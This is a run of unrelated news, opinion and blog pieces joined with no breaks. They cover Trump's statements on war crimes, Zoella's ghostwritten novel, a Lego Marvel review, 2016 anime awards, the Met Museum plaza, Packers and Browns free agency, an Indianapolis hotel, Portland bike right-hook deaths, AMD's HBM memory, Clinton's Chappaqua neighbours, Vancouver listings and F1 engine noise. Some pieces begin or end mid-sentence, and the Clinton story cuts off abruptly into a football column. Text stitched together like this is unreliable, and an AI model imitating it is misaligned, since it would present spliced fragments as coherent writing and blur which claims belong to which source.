Trump has also said he would order the killing of terrorists’ family members. This too would be a war crime. When Trump was asked during a debate last spring whether the military would refuse to carry out orders to waterboard prisoners or kill terrorists’ family members, Trump said: “They won’t refuse me. They’re not going to refuse me. Believe me … I’m a leader. I’ve never had any problem leading people. If I say do it, they’re going to do it. That’s what leadership is all about.”
When military experts responded with outrage, Trump backed off, saying he would not order the military to violate the law.
We should consider Trump’s videotaped comments from 2005 when we think about whether to believe Trump’s promise not to order the military to violate the law. Trump believed that his star power as a celebrity gave him license to do whatever he wanted with women.
What would a man like this do with the powers of the presidency? It’s not unreasonable to wonder whether he might claim that the powers of the office allow him to set aside laws designed to limit presidential authority.
A president, of course, has more power than a celebrity. Recent history tells us that the Bush administration claimed the power to take actions prohibited by criminal laws. Would a President Trump do the same? His comments from 2005 suggest that this could be more than just a speculative hypothesis.
Chris Edelson is an assistant professor of government in American University’s School of Public Affairs. His latest book is “Power Without Constraint: The Post 9/11 Presidency and National Security” (University of Wisconsin Press).Election-weary Britons head to the polls on June 8. The French will vote this weekend. Americans only recently concluded their distended democratic ritual. Different countries, different systems, different voters. A common theme? Immigration.
Donald Trump pulled off his unlikely victory by invoking a dichotomy: Americans versus others. The antediluvian promise to make America great again was pitched at a demoralised working class, deprived of a social safety net and denied real wage growth for decades.
It cleverly ignored the yawning gulf between a privileged, tax-astute billionaire and his new electoral quarry by excavating an even bigger hole in which immigration was conflated with national security, free trade with job losses, globalism with US decline.
In France, Marine Le Pen's far-right National Front exploits similar tensions by branding asylum seekers "illegal". "They have no reason to stay in France" Le Pen says blithely because "these people broke the law the minute they set foot on French soil".Another year, another novel churned out by the YouTube Megastar-Publishing Complex. This week, the Guardian announced that Zoe “Zoella” Sugg, Internet superstar and “author” of Girl Online, last year’s runaway hit and the fastest-selling debut novel of all time, will publish a sequel, the appropriately titled Girl Online 2. Only, as is well documented, Sugg didn’t write the novel, even though she said she did. The book’s jacket copy finds Zoella confiding to her fans: “My dream has been to write a book, and I can’t believe it’s come true.” But, as it turns out, the book was ghostwritten, factory produced by an underlaborer named Siobhan Curham, who wrote the book for a measly £7,000 to £8,000.
In December of last year, we predicted not only that we’d see more novels from YouTube stars in 2015, but also that we’d see more ghostwritten novels by celebrities, in the vein of books “written” both by Sugg and the Jenner sisters. It could be no other way: Zoella’s success was destined to become boilerplate, in multiple senses of the word. This much is proven, already, by the publication of the second Girl Online novel, which we know to be ghostwritten. And this new model for generating fiction has found its way to the US, too, where Harvey Weinstein recently purchased the film rights to Paige McKenzie’s The Haunting of Sunshine Girl, which is due to be released on March 26. If you want an idea of what how well this new publishing complex is working, just look to Perseus, the novel’s publisher, who has upped the book’s print order to 100,000 in advance of its publication.
Given the early (and likely continued) success of this model, it’s fair to say that many readers don’t care — they vote, as the platitude goes, with their pocketbooks. Some young readers, though, attentive to this factory model of producing fiction, are not so smitten with Sugg and the industry. Last December, a teenager wrote to the Guardian to explain why he is dispirited by the charade.
To me ghostwriting is more appropriate for autobiographies than fiction. You feel less hoodwinked when you read up on someone’s life, knowing that they have sat with a professional writer and allowed this person to pick their brains…Genuine prose is not something that can be factory-produced (especially in the case of a book like Girl Online) and every bit of fiction you will read will have the author’s voice in it somewhere, however deep.
Even if we accept that publishing has a long history of mass production, of heaving forth books that readers can buy with little thought, it’s also true that we’ve never seen quite so brazen an attempt to relegate fiction writers to the bottom of the production chain. The writing of fiction, at least in recent history, has been seen as an act of unalienated labor. It may be a thankless, fiscally diminished way of making a living, but it has also been tied to expression, to the production of a given writer’s dreams and thoughts.
Maybe now, though, it’s time to see Zoe Sugg’s clockwork, ghostwritten novels as part of publishing’s newly aggressive attempt to automate its own processes. It’s not only that Sugg’s ghostwriter is underpaid and self-effacing, a cog in a machine; it’s also that this new complex is made possible by the status of the stars themselves. YouTube megastars, compared to celebrities in other media, are less established, less contracted, less enmeshed in a web of legal protection — and therefore cheaper.
In this respect, both the YouTube megastar and the self-effacing ghostwriter are weirdly analogous to the writer of fanfiction and the self-published author, both of whom publishing has gone to great lengths to exploit in recent years. The now competing self-publishing models of Apple and Amazon point to an automated future where these corporate behemoths can cut the “red tape” of fiction production — you know, the entire editorial process that improves the quality of the book — in favor of a “consumer” driven model that relies on upvoting. Services like Amazon’s Kindle Scout trade the considered, comparatively slow process of reading, acquiring, and editing fiction for efficient, automating technologies. And, in monetary terms, it already seems to be working. Under the regime of Amazon’s Kindle Direct services, some genre outlets, like the erotical publisher Ellora’s Cave, are sinking.
If you need convincing that this new mania for automation is a bad thing, just consider the fiction itself. Katy Waldman, in an excellent piece written for Slate this week, gleefully considers the perils of such reader-driven automation:
On Kindle Scout, one reads all these excerpts, meets all these orphan-vampire-wizard teens, encounters the incendiary seductions and unruly blond mops of ringlets and teeth gritted with fury—and discovers so few moments of real inspiration, divine or infernal. Perhaps sublime failure is as difficult to achieve as sublime success.
In the piece, too, Waldman slyly hints at the logic that bolsters such dreams of reader-driven automation:
But I am not here to talk about the democratizing heroism of self-publishers and crowdsourcers. Or about the growing centrality of the consumer, who is able to customize her reading experience by telling Amazon precisely what she wants to read before any work goes to press.
This passage struck me because, inverted, it damns the entire process. The fact that the reader gets to choose “precisely what she wants to read before any work goes to press,” neutralizes the dream of fiction — that it can surprise us; that it may not always give us what we want; that it can redistribute the way we think, hear, and see the world. Under automation, fiction loses the power to alter what we think is possible. It becomes nothing but a magic mirror that reaffirms our prejudices.
This is to say nothing of the fact that the new automation preys violently on a strange mutation of the American Dream. Since the publication of Fifty Shades of Grey, we’ve seen a groundswell of fanfiction written, in part at least, with an eye toward getting rich. Big Publishing and Amazon have built an apparatus to exploit the get-rich-quick mentality of fans, who, once writing out of loyalty and care for a specific world or genre, are increasingly prone to writing because they might be rich and published. The fanciful dream of the fantrepreneur, in other words, is the cash-rich reality of automated publishing.When I got off work early to wait in line for the Xbox One last November, I wasn’t nearly as excited as my boyfriend was. The games on my shopping list were Lego Marvel Super Heroes, Ryse, and Dead Rising. Let’s just say there is a reason I won’t be writing about the latter two games (although there is some hilarious protest on Reddit regarding Dead Rising’s lack of playable women characters).
Lego Marvel Super Heroes, on the other hand, was light hearted, inclusive fun that kept me coming back for more even when we’d completed the story mode. The list of playable women characters is outstanding (albeit there are still more men than women) and out-stripes pretty much every other game on the market. Moreover, the evil disposable lackeys were a mix of men and women. Here is a mostly complete list of the women characters:
(parentheses indicate that character has more than one outfit)
Amelia Voght red haired female acolyte
Aunt May
Black Cat
Black Widow
Elektra
Emma Frost
Gamora
Gwen Stacy
Invisible Woman (Future Foundation)
Jane Foster DLC
Jean Grey (Phoenix, Dark Phoenix in DLC)
Lady Deathstrike
Lady Liberty
Madame Hydra
Magneto Acolyte
Maria Hill
Mary Jane Watson
Ms. Marvel
Nance Winters black haired female acolyte
Mystique
Pepper Potts (Rescue)
Polaris
Psylocke
Scanner blonde haired female acolyte
She-Hulk
Spider Woman
Squirrel Girl
Storm
Wasp
Honestly, my favorite characters to play with are Galactus and Squirrel Girl. This game was my first introduction to the character of Squirrel Girl and I fell instantly in love, so naturally I am excited that Marvel recently announced The Unbeatable Squirrel Girl comic. Galactus is actually a dude (hence not on the list), and the sound of his laser attack is really satisfying.
But why, oh why isn’t Rogue on this list of characters? She is my favorite all-time super heroine and I was disappointed by that.
Speaking of disappointment, the game does need work on a few areas. The biggest one is how they animated the stance and movement of the superheroines and supervillainesses. Take for instance, Jean Grey’s resting stance:
Yes, one leg is wrapped precariously around the other one like some half-assed ballet move. Either that or she needs to use the restroom constantly. Each superheroine has some similar leg splayed and/or hippy stance that is supposed to accentuate… the non existent curves of Lego figures? I honestly don’t know what they were thinking. The running and walking movements of the superheroines have also been made “hippier” than the men. Sure, men and women run differently in real life, but these are LEGOS. Their bodies are all functionally the same! This is not reality!
Another hangup was one of the side missions called “Tabloid Tidy Up”. The mission itself is fine, but it’s the commentary afterwards that had me pulling my hair and thinking “How did this end up in the final version?!”
Doc or Coleson (I couldn’t tell which) : “Boy I never thought we’d get that dried cat food off the ceiling, but hey you could eat your dinner off that floor now.” Daily Poodle tabloid editor: “Great job ladies! I take back everything I printed about you. Doc and Coleson, I like you. You can marry my sister….”
I think that pretty much speaks for itself.
Despite these downfalls, the majority of the game is fun and there are lots of options to mix and match superpeople and supervillainpeople together on ridiculous missions and side missions. The city is filled with opportunities to utilize the unique powers of the different characters and is a lot of fun to explore. My fiance and I have spent many afternoons carefully finding every mission to unlock the next character, and we still haven’t done them all.
Have you played Lego Marvel Super Heroes yet? Share your thoughts below
Want to keep up with Her Story Arc? Follow us on Facebook or TwitterFrom the very first episode, Erased was an emotional roller coaster that didn’t slow down. Every episode was packed with mysteries and revelations that kept us guessing and left us on the edge of our seat as the story jumped between two timelines, weaving together a fascinating tale of redemption and friendship.
PeoplesChoice winner.jpg
Re:Zero - Starting Life in Another World [ edit ]
Your votes have been counted, and the People's Choice winner for Best Anime Series 2016 is Re:Zero - Starting Life in Another World. Thanks for voting!
Erased [ edit ]
Loading
From the very first episode, Erased was an emotional roller coaster that didn’t slow down. Every episode was packed with mysteries and revelations that kept us guessing and left us on the edge of our seat as the story jumped between two timelines, weaving together a fascinating tale of redemption and friendship.
Flip Flappers [ edit ]
Flip Flappers is a colorful demonstration of just how imaginative and wonderful anime can be. It mixes magical girls with Dragon Ball Z-level action and creative worlds (like a desert dystopia reminiscent of Mad Max) to take viewers on a heartfelt adventure of friendship.
With the new revitalized Karasuno volleyball team, determined protagonist Shoyo Hinata and the gang set their sights on the spring tournament by improving each of their skills in camp and on the court. Season 2 and 3 of Haikyu!!! do an amazing job of balancing the competitive tension of high stake sports games with the multitude of characters that are every bit as important as their star players.
JoJo’s Bizarre Adventure: Diamond Is Unbreakable [ edit ]
Diamond is Unbreakable is the fourth part of the popular JoJo's Bizarre Adventure series that follows the life of delinquent high school student, Josuke Higashikata, and his bizarre experience in his peaceful hometown. With the sudden meeting of a distant relative, he begins to notice individuals with strange powers or “stands.” The rise of “stand” users takes Josuke and his friends into a world of crazy magical action and ridiculously awesome poses.
Mob Psycho 100 [ edit ]
Loading
One Punch Man creator's second manga-turned-anime, Mob Psycho 100, is a whirlwind of extreme facial expressions paired with intense action. Its unique art style is captivating, but the heart of the show is in the growth of each characters as they learn how to rely on their friends and mentors to become better people.
Mobile Suit Gundam: Iron Blooded Orphans S1 [ edit ]
Iron-Blooded Orphans is a brutal standalone Mobile Suit Gundam story that shows a darker side of war as we follow the lives of child workers turned soldiers. The politics in the Gundam universe are always prominent, but the growth and relationships surrounding the ragtag group of Tekkadan in season 1 makes for an engaging and exciting rise to power.
Mr. Osomatsu [ edit ]
Loading
Gag-manga-turned-anime Mr. Osomatsu follows a set of sextuplets with distinct personalities, slowly developing them through a series of one-off jokes and cute vignettes. Despite its focus on comedy, Mr. Osomatsu can get sweet, heartfelt, and even sad, and the love it shows toward its characters helps the comedy stand out from simple gags.
My Hero Academia [ edit ]
Starring a mossy-haired boy with a small body and a big heart, My Hero Academia features lots of fun, frenzied action, a quirky cast of heroic misfits, and a colorful Silver Age Comics art style. But the show's real superpower is the adorable teacher-student bond between the protagonist Izuku Midoriya and his mentor All Might. Plus, the show has bellybutton lasers and a super cool frog girl.
Re:Zero - Starting Life in Another World [ edit ]
Protagonist Subaru Natsuki's unique ability to return to life after death gives this anime a unique chance for growth and destruction, and though the otaku in a fantasy world trope has been done many, many times, this works very well. Re:Zero - Starting Life in Another World stands out thanks to its narrative focus on pain, consequence, and building up to truly heartfelt moments.
Yuri!!! On Ice [ edit ]
Though a lot of the (justified) excitement around sports anime Yuri!!! On Ice is focused on its incredible character relationships, this phenomenal anime doesn't put anything on the backburner. Yuri!!! On Ice wonderfully depicts and respects figure skating through beautiful performances and homages to the real competitive scene all while developing genuine relationships and rivalries that won't be forgotten.
More Best Of Anime 2016 Awards [ edit ]
Was this guide helpful? YES NOAfter almost two years of being shrouded behind blue plywood, the Metropolitan Museum of Art's giant new plaza is open. A preview this morning of the plaza's first renovation in more than 40 years revealed two new fountains with 48 fancy-schmancy jets apiece capable of veritable dance routines, 106 trees (double the number there before). There's also ample seating under red umbrellas, and new LED lights that will light up the facade at night. The biggest deal, though, is that as of tomorrow, all evidence of construction will be gone, and no fences will get in the way of a stroll along the west side of Fifth Avenuefor tourists and residents alike. The $65 million project was entirely funded by billionaire museum trustee and richest man in New York City David H. Koch, and the plaza bears his name. The whole thing is just plain large large: 1,021 feet long; and 70,706 square feet total. Public space for the win.
At this morning's event, which ended with Koch pulling the trigger to send the fountains' jets spewing, museum officials and local officials praised the new public space.
The new plaza @metmuseum is about to open! pic.twitter.com/4TtJdVSf4o — Hana R. Alberts (@HanaRAlberts) September 9, 2014
· New Plaza [official]
· All Metropolitan Museum of Art coverage [Curbed]With NFL free agency officially mere hours away, all eyes in Packer Nation are on the Green Bay Packers’ pending free agents and whether or not they will remain in Green Bay.
In addition to safety Micah Hyde reportedly being on his way out, it looks like offensive lineman JC Tretter is heading to the Cleveland Browns, per a report from Mike Garofolo of NFL Network:
JC Tretter will officially be a Cleveland Brown in about five hours. That deal is getting done. Expected to be their new center. — Mike Garafolo (@MikeGarafolo) March 9, 2017
With guard T.J Lang also in limbo, this could be devastating news to the Packers. If Lang were to leave, it's possible Tretter would have replaced him had he been able to agree to terms with the team. Instead, there is now a strong possibility that the Packers will have to replace two members of one of the best offensive lines in the NFL.
If Lang does return to the Packers, then general manager Ted Thompson will only have to worry about finding depth instead of a starter AND depth. It would be a much more enviable position for Green Bay.
Meanwhile, the Browns are shoring up the offensive line with Tretter coming on board plus the team reportedly inking Joe Bitonio to a "monster" extension, per ESPN's Adam Schefter. The value of Tretter’s contract will help determine what sort of compensatory pick the Packers might get in 2018 for losing Tretter.
Free agency is just getting started. Buckle up, Packers fans.by Shaula
It’s late. We should be sleeping. Instead we are packing up to leave after an extended stay in Indianapolis.
It’s something of an emotional farewell.
Before we arrived in Indiapolis, we booked several nights online at a hotel that, for reasons that are about to become clear, I won’t mention by name.
Normally we book the absolutely cheapest room we can find–at least the cheapest room that is non-smoking, includes Internet access so Neil can log into work, and seems half-way clean and safe.
Based on these high criteria, we have managed to stay in some doozies.
“The cheapest room in town” is quite often under an Interstate, or in an industrial park, or surrounded by strip malls. We wind up staying in neighbourhoods that are conveniently located for travelers seeking payday loans, Harley Davisdon accessories and tattoos, but not necessarily for finding independently-owned organic vegetarian cafes or going for a nice walk. Then again, we’ve stayed in rooms for as little as $28/night. For safety and vegetables, you pay extra.
So, following standard protocol, we booked a cheap hotel room, sight-unseen.
At extended stay hotels, we usually stay in a very modest studio room. This particular property only had smoking studios available when we booked, but they had a great deal of a non-smoking Queen Suite, so we nabbed it.
And when we arrived, we fell in love.
This “suite” is bigger than several of the apartments we’ve lived in. Don’t get me wrong, that doesn’t mean this is big: our first apartment was a studio of about 400 square feet. Unlike most apartments we’ve lived in, the suite’s kitchen has counter space. (Who builds all these kitchens with no counter space? They drive me crazy.) And there’s more storage space than the house my family lived in when my brother and I were babies.
There’s even a pull-out sofa!
Okay, the presence of a sofa may not impress you luxury travelers out there, but you have to picture a typical day for us in a hotel studio: Neil is sitting on the only chair in the room programming all day, which leaves me sitting on the bed, ALL DAY. I don’t mind; I’m bed-oriented. I’d go so far as to say that beds are my natural habitat. But to be in a suite with a sofa, and be able to get out the bed and sit on actual furniture during the day…I’m telling you, it is the lap of luxry.
We checked into the room and we were awestruck. We rhapsodized about the size, the space, the sweet spectacular splendour of it all.
In my family, when you really love something, you give it a name. (Or when you loathe it. Or sometimes when you’re luke-warm on it. We’re pretty big on naming, now that I think about it.) Neil and I cast about for a name for the hotel. We started to call it the “Taj Mahal,” in deference to the pinnacle of luxury it represents.
But “Taj Mahal” is already taken (obviously), and the name just seemed inadequate.
And then Neil had a stroke of brilliance: we could combine “Taj Mahal” and “Indianapolis” to make “Taj Mahapolis.”
And thus the monicker was born.
Why won’t I reveal to you the actual name of the Taj Mahopolis?
Once we were here a few days, we noticed the stink of garbage in the halls, the TGI-Fridays level of customer service, the deeply frightening stain on the boxspring. The furniture is chipped, the baseboards are scuffed, the wallpaper seams are peeling. The decor is a depressing mixture of sad beiges and washed-out blues. In short: it’s the kind of hotel that men check into when their wives kick them out for having an affair. A real up-beat kind of place.
And even factoring in the smell, the drab interior, the lackluster service: it is still one of the nicest places we have stayed in a year. Which Neil and I find hysterical. As dumpy as it is, it’s the Taj Mahopolis to us.
Tomorrow we check out and head to Peoria, on our way to Minnesota. The Taj Mahopolis has been good to us. We will miss it.
I hope, no matter what your circumstances in life may be, that you can always enjoy the Taj Mahopoli that come your way.Just over two months ago 53-year-old Alan Marsan was killed while bicycling on North Interstate Avenue. He was going north and a large commercial truck turned right across his path.
Based on observations from the scene it was a classic right hook. The truck was stopped a few dozen feet from the intersection and Marsan and his bike were lodged just in front of the rear wheels.
That collision was just the latest in a long line of right hooks that have left bicycle riders dead in Portland over the years. As I stood at the scene of Marsan’s death, the names of other people who’ve died in fatal right hook collisions with trucks flashed through my head: Tracey Sparling, Brett Jarolimek, Kathryn Rickson, Kirke Johnson, Lydia Johnson (no relation).
Bicycles, large trucks and right hooks is one of Portland’s most vexing traffic safety problems. It’s maddening that we haven’t made more progress on it in the past decade.
But don’t take my words for it. Here’s what Susan Kubota, aunt of Tracey Sparling, who was hit and killed in a right-hook collision in Portland in 2007, told KPTV in a story they aired last night:
“It’s very disheartening that this is almost 10 years since Tracey was killed, and these things are still happening.”
I could not agree more with Ms. Kubota. One simple step we could take is to require the installation of side guards on trucks. Side guards might help prevent deaths by keeping human bodies away from a truck’s undercarriage and wheels. A study from the United Kingdom (which inspired Seattle’s department of transportation to mandate the guards on their fleet) found they reduced deaths by 61 percent. We could start with City of Portland vehicles and then use policy and public pressure to get private companies to follow suit. But so far the City hasn’t taken that step. Back in February, a bureau of transportation spokesperson told us it would cost about $3,000 per vehicle. They say there’s no money for it.
Fast forward to last night when KPTV aired a report on the issue. Here’s where things get weird.
KPTV’s headline and reporting framed the issue as being of great concern to the “cyclist community.” “Cyclist community pushing for more safety improvements on Portland streets,” read the headline.
As many of you know, I have a big problem with labels like “cyclist community.” What even is that? Am I member? Are you a member? Is Tracey Sparling’s aunt Susan Kubota a member? Are Alan Marsan’s kids and family part of the “cyclist community”? Or are we just regular people who want safer streets? Even though KPTV doesn’t use the label with any intended malice, I firmly believe labels like this are unnecessary and harmful.
Thanks for reading BikePortland. Please consider a $10/month subscription or a one-time payment
to help maintain and expand this vital community resource.
Labels are lazy. They allow us to paint with a broad brush instead of taking the time to speak in more detailed strokes. Labels assume a large group of people share the same motivations and beliefs when in fact no such common cause exists. Labels also perpetuate hate and divisiveness by serving up a tidy basket for people’s anger. Labels are linguistic punching bags — a conveniently gift-wrapped “other” served on a platter for people to take swings at.
And that’s exactly what happened in response to KPTV’s report on truck side guards. I’m quite used to hate-filled comment sections on network news sites. But the six comments (so far) on this story really bothered me. They are all in lock-step agreement that these calls for safer trucks are simply more whining from “the cyclist community.”
The comments above are very telling. These readers — who feel so safe in our car-centered culture that they say these things with real names on comments linked directly to their Facebook accounts — instantly resort to blaming the victims of these crashes. And of course there’s an immediate urge to absolve themselves (as representatives of all motor vehicle operators) of any guilt whatsoever. It’s really sad on many levels.
Would those responses be the same if the headline and framing of the story was, “City officials want more safety improvements on Portland streets”? After all, that’s true. Side guards for trucks are recommended in our Vision Zero plan.
Compare this to how our society responds to a road safety issue that only involves driving. In 2014 there was great urgency around cable barriers on I-5 after several people died in head-on collisions while driving (including the husband of Portland City Commissioner Amanda Fritz). “Deadly crashes prompt ODOT to rush new I-5 barriers,” read the KPTV headline.
Except in this case, when we have a recurring road safety problem and a relatively simple fix, it’s ODOT and Oregon’s governor who are pushing for the change. And there’s nothing about a “motorist community” “pushing” for changes.
How did people respond to this issue?
“It’s senseless not to have [barriers] when we’ve had so many crashes that have caused injuries or deaths, it just doesn’t make any sense,” one woman told KPTV. “I’m surprised they haven’t already done it. You can’t put a dollar amount on lives,” said another person they spoke to.
And of course there were no comments from readers falsely blaming people the people who died and there were no baseless and completely irrelevant accusations of illegal driving.
The other big difference? The barriers were installed shortly thereafter. To the tune of $7 million.
I can’t help but wonder what the response would be to right-hook fatalities of bicycle riders if the media and society-at-large saw the urgency to fix the problem as coming from anywhere but the “cyclist community.”
— Jonathan Maus: (503) 706-8804, @jonathan_maus on Twitter and [email protected]
BikePortland is supported by the community (that means you!). Please become a subscriber or make a donation today.
Editorial, Front Page
language matters, Media, trucksAMD's just taken the wraps off its shiny new high bandwidth memory (HBM) technology, and as rumoured, the company is limited to a total of 4GB for its first-generation HBM product. While AMD has yet to reveal specifics of what that product might be, it did tell us that it'll be a GPU, it'll be priced towards the higher end of the spectrum, and that you'll be able to walk into a store and buy one within "the next couple of months." The rumour mill strongly suggests that this first HBM part will be the R9 390X.
The reason for the 4GB restriction for the company's upcoming GPU is due to the first-generation HBM design. HBM uses stacked memory chips along with a silicon interposer and through-silicon-vias (an interconnect that runs through the chip from top to bottom) in order to move the DRAM closer to the GPU. This shortens the traces, allowing for increased bandwidth and lower power consumption. Currently, those chips can only be stacked four dies high. With each die limited to 2Gbit, each stack is one gigabyte. AMD's current design only allows for four stacks around the GPU, limiting the system to four gigabytes.
It's not entirely clear why the company has been limited to four stacks of memory for its first-generation product. If AMD is sticking with its GCN 1.1 architecture for the launch of HBM, the physical die size of the GPU may have had something to do with it. It could also simply be down to cost. HBM, while cheaper than rival stacked memory technology Hybrid Memory Cube (HMC), is still likely to be pricier than the equivalent DRAM, making eight stacks impractical. Regardless, a leaked set of slides from HBM manufacturer Hynix alleges that second-generation HBM will double capacity to 2GB per stack, allowing for graphics cards with 8GB of RAM in the future.
While 4GB of memory is common for even high-end graphics cards these days, video games like GTA V are slowly but surely eating their way through it. That's especially true for games running at higher resolutions like 2560×1440 and 4K, where larger textures need to be moved in and out of memory. The 4GB limit also makes HBM a less than ideal solution for the workstation market, where GPU rendering must be held entirely within the the memory buffer. Nvidia currently offers graphics cards with 12GB of memory in the form of the £900 ($1000) Titan X and even pricier Quadro M6000. AMD's flagship R9 290X tops out at 8GB, but is substantially cheaper at around £380 ($469).Interviews with residents of Hillary Clinton’s adopted home town suggest that while she will garner most votes here on 19 April, and the email scandal is a non-issue, her husband remains a star whose light is difficult to eclipse
An unmistakeable tall, lean 69-year-old man on Wednesday made his way past Coloring Books for Grown-Ups to the check-out at Scattered Books. Bill Clinton bought journalist Anderson Cooper’s memoir The Rainbow Comes and Goes for himself and a thriller, Fool Me Once by Harlan Coben, for a friend. But he couldn’t leave it at that.
“I thought, ‘Oh my god! Bill Clinton just came in and said: ‘I love this store’,’” says Laura Scott Schaefer, a children’s author who opened the independent bookshop six months ago. “I’m going to faint!”
Facebook Twitter Pinterest Laura Scott Schaefer, owner of Scattered Books. Photograph: Lauren Caulk for the Guardian
The story is a typical one in Chappaqua, the woodsy hamlet north of New York City that became Bill and Hillary Clinton’s adopted home in 1999 and where the private email server she used as secretary of state is under investigation by the FBI. It is here that the Clintons will cast their vote in an increasingly fraught Democratic primary election that finds New York, regarded by many as the greatest city in the world, in a new role at the centre of the political universe.
Hillary’s dogged Democratic rival Bernie Sanders grew up in Brooklyn and her likely general election opponent, Donald Trump, made billions in Manhattan. Chicago-born Hillary served two terms as New York senator and is said to be a model neighbor in quietly prosperous Chappaqua. But interviews with local residents suggest that while she will garner most votes here on 19 April, and the emails are dismissed as a non-issue, her husband remains a star whose light is difficult to eclipse.
Hillary is often seen out shopping, always unfailingly polite and accommodating to photograph seekers
Bill has been campaigning hard for his wife and was back in the spotlight this week when he clashed with Black Lives Matter protesters in Philadelphia over his 1994 crime bill. In largely white Chappaqua, many tell anecdotes of him walking into Starbucks (decaffeinated coffee or, on hot afternoons, decaffeinated tea) and holding court for an hour or more on the politics of the day or reliving issues of presidency, almost as if he never left the White House. One florist recalled how, a day after the terrorist attacks in Paris, Bill stopped by and talked about how he had been tracking Osama Bin Laden before 9/11.
Hillary is often seen out shopping too, never displaying airs and graces, always unfailingly polite and accommodating to photograph seekers. Her hairdresser of choice, Santa Nikkels, turned up in her publicly released emails. But last month she admitted: “I am not a natural politician, in case you haven’t noticed, like my husband or President Obama.”
Facebook Twitter Pinterest Hillary Clinton in front of the Chappaqua house in November 1999, shortly after the Clintons bought the home. Photograph: Stephen Chernin/AP
Stan Amberg, 81, a retired lawyer, recalled sitting with his coffee and newspaper at Lange’s Little Store, a homely deli where the Clintons often take breakfast away in brown paper bags. “He came over and said: ‘My name’s Bill, mind if have coffee with you?’ He’s very approachable and he loves kids. He gets down on his knees and talks eye to eye with them. She can’t do that; she has this issue with engaging. I don’t know if it’s an inherent problem with her personality.”
Once, at a local school, he said, the Clintons were faced with a huge queue of school children waiting for the president’s autograph. “She was nudging him: ‘Bill, we’ve got to go.’ He wouldn’t budge until he signed every last autograph. You get the difference.”
On another occasion, Bill, a vegan, was dining with friends at another favorite, the French bistro Le Jardin Du Roi. Amberg said: “A lady leans over and says, ‘Mr President, how come you weren’t able to work things out with Yasser Arafat at Camp David?’ The waiters stopped. The restaurant ceased to move. He turned his head and said: ‘I thought Arafat was having a nervous breakdown. He couldn’t concentrate. He wouldn’t give a |
sit for a year or two behind Anderson until he’s ready to play.
This is all just speculation on my part of course, but the more I think about it, the more this scenario makes sense. Cleveland is essentially stuck in a tough spot with no clear-cut choice at No. 5 and again, they would love to acquire more draft picks. And if Mangini isn’t big on Quinn and doesn’t see Anderson as the long-term answer, than Sanchez makes a ton of sense for them in the first round. Plus, if they can acquire more selections, then they can still fill their defensive and wideout needs later in the draft. Hell, if they can convince a team like the Redskins (who clearly aren’t sold on Jason Campbell) to give them their first round pick for Quinn, then a guy like Brown might fall to them at No. 13. Would the ‘Skins be willing to give up their first round pick for Quinn? I don’t know, but anything is a possibility at this point.The number of new residential property listings hit the lowest level last month in eight years, said the Real Estate Board of Greater Vancouver.
New listings were down 24 percent and sales were down 30.8 percent from a record-breaking level recorded in March 2016, the board said in a news release.
New listings for detached, attached and apartment properties in Metro Vancouver totalled 4,762 in March 2017, which is the lowest number of new listings in March since 2009.
It said the sales-to-active listings ratio was 47.2 per cent, a 15-point increase over February and said home prices would likely continue to increase until more housing supply comes into the market.
The Multiple Listing Service composite benchmark price for all residential properties in Metro Vancouver is currently $919,300, up 1.4 percent from February.Barbecue, steak, Tex Mex, and fried chicken: Those four foods are sacred in Houston, and though the Bayou City is full of restaurants offering brisket and rib eye, enchiladas and juicy breasts, it seems there's always room for more.
Enter Vons Chicken, a chain based in South Korea that serves steamed poultry as well as the more traditional fried variety.
The restaurant, the first Vons in Houston, will be located at 10020 Long Point Road, and is owned by Jong Yi, who hold the franchise license for Texas. The first Vons Chicken in the state opened in Killeen.
According to the Houston Business Journal, the Houston Vons Chicken location will seat 100 to 130 people at a time and will serve beer and soju — think Korean vodka — as well as side dishes including kimchi fried rice and pot stickers.
Vons specializes in chicken, of course, and some of its offerings include garlic chicken, crispy Yangnyeom chicken, and wine and green onion chicken.
Yi has plans to open four additional Vons locations in the Houston area.Overview of the events of 1887 in film
Man Walking Around a Corner, unremastered film, original frames copy by National Science Museum, London c. 1931. (Courtesy, unremastered film, original frames copy by National Science Museum, London1931. (Courtesy NMPFT, Bradford
The following is an overview of the events of 1887 in film, including a list of films released and notable births.
Events [ edit ]
Hannibal Goodwin files for a patent for his photographic film.
Louis Le Prince's 16-lens camera (LPCC Type-16) is made in the United States and the film Man Walking Around a Corner is filmed using it this year.
is filmed using it this year. August - Harvey Henderson Wilcox registers his 120-acre ranch with the Los Angeles County Recorder's office, calling the area it is based in, Hollywood, which would later become the home of the U.S. film industry.
Films [ edit ]So, Mercedes are testing a megaphone on their dominant WO5 Hybrid at Barcelona this week. It’s an interesting proposal, but is such an idea a feasible solution to the resentment surrounding the V6 cars’ engine noises? And do we really need louder Formula 1 cars? I’m not so convinced.
Team head Toto Wolff has already suggested that the test will be experimental more than anything. In general terms, the ‘Mercedes megaphones’ are essentially a funnel extension of the exhaust system that is designed to magnify the volume of the engine for the benefit of the fans.
The major issue that the F1 management is concerned about regarding the more sombre tone of this year’s cars is spectator interest. The theory suggests that the cars will drive people away from the sport, taking away the ‘raw power’ element of the V8 and V10 engines that F1 fans enjoyed getting excited about. But maybe it’s not as bad as it seems.
Attendance at the Australian season opener was 12,000 down on last year – not a disastrous figure considering it equaled 2006 attendance, and, judging by the growing excitement on social media, the British Grand Prix will be as popular as ever when it takes centre stage in July.
The point? Sound isn’t the most important thing. So long as the racing is competitive, people will still flock to Formula 1, even if the noises are a little odd. How many people settle down in front of the TV on race day to support their driver? If the sound is so important, why have Sky and BBC invested so much on buying the TV rights when they could just broadcast it on Radio 5 Live? F1 is the only form of motorsport in the mainstream media and it showcases the pinnacle of automotive technology, therefore, Mercedes’ plan to boost noises isn’t going to increase an already thriving F1 viewership, despite what the naysayers predict.
In order to be formally legalised by the FIA, the megaphone will have to gain approval from all members of the F1 grid. This isn’t going to be simple, as some teams seem to be happy with the new sound. Renault’s deputy director Rob White is one such advocate of the V6 package:
‘”I don’t sign up to the opinion that they sound horrible’ White said. ‘I feel there is a positive message that has kind of got drowned out.” (BBC Sport 12/5)
In addition, the megaphone idea doesn’t incite a lot of change to the Formula 1’s new audio. The main reason why fans have opposed the new engines is because of the difference in sound type compared to last year, rather than the raw volume. It seems obvious, but they’re not the same thing.
F1 viewers have become so accustomed to the howling screech of V10 s and V8s that obviously a change in approach by the FIA was going to be a shock to the system, especially for the hard-core fans that don’t follow any other forms of racing. A grid full of megaphones would make the cars sound louder, but not different. I doubt very much that adding trumpets to the end of 22 exhausts will make the ground shake any harder on race day, so in reality it won’t have a dramatic impact.
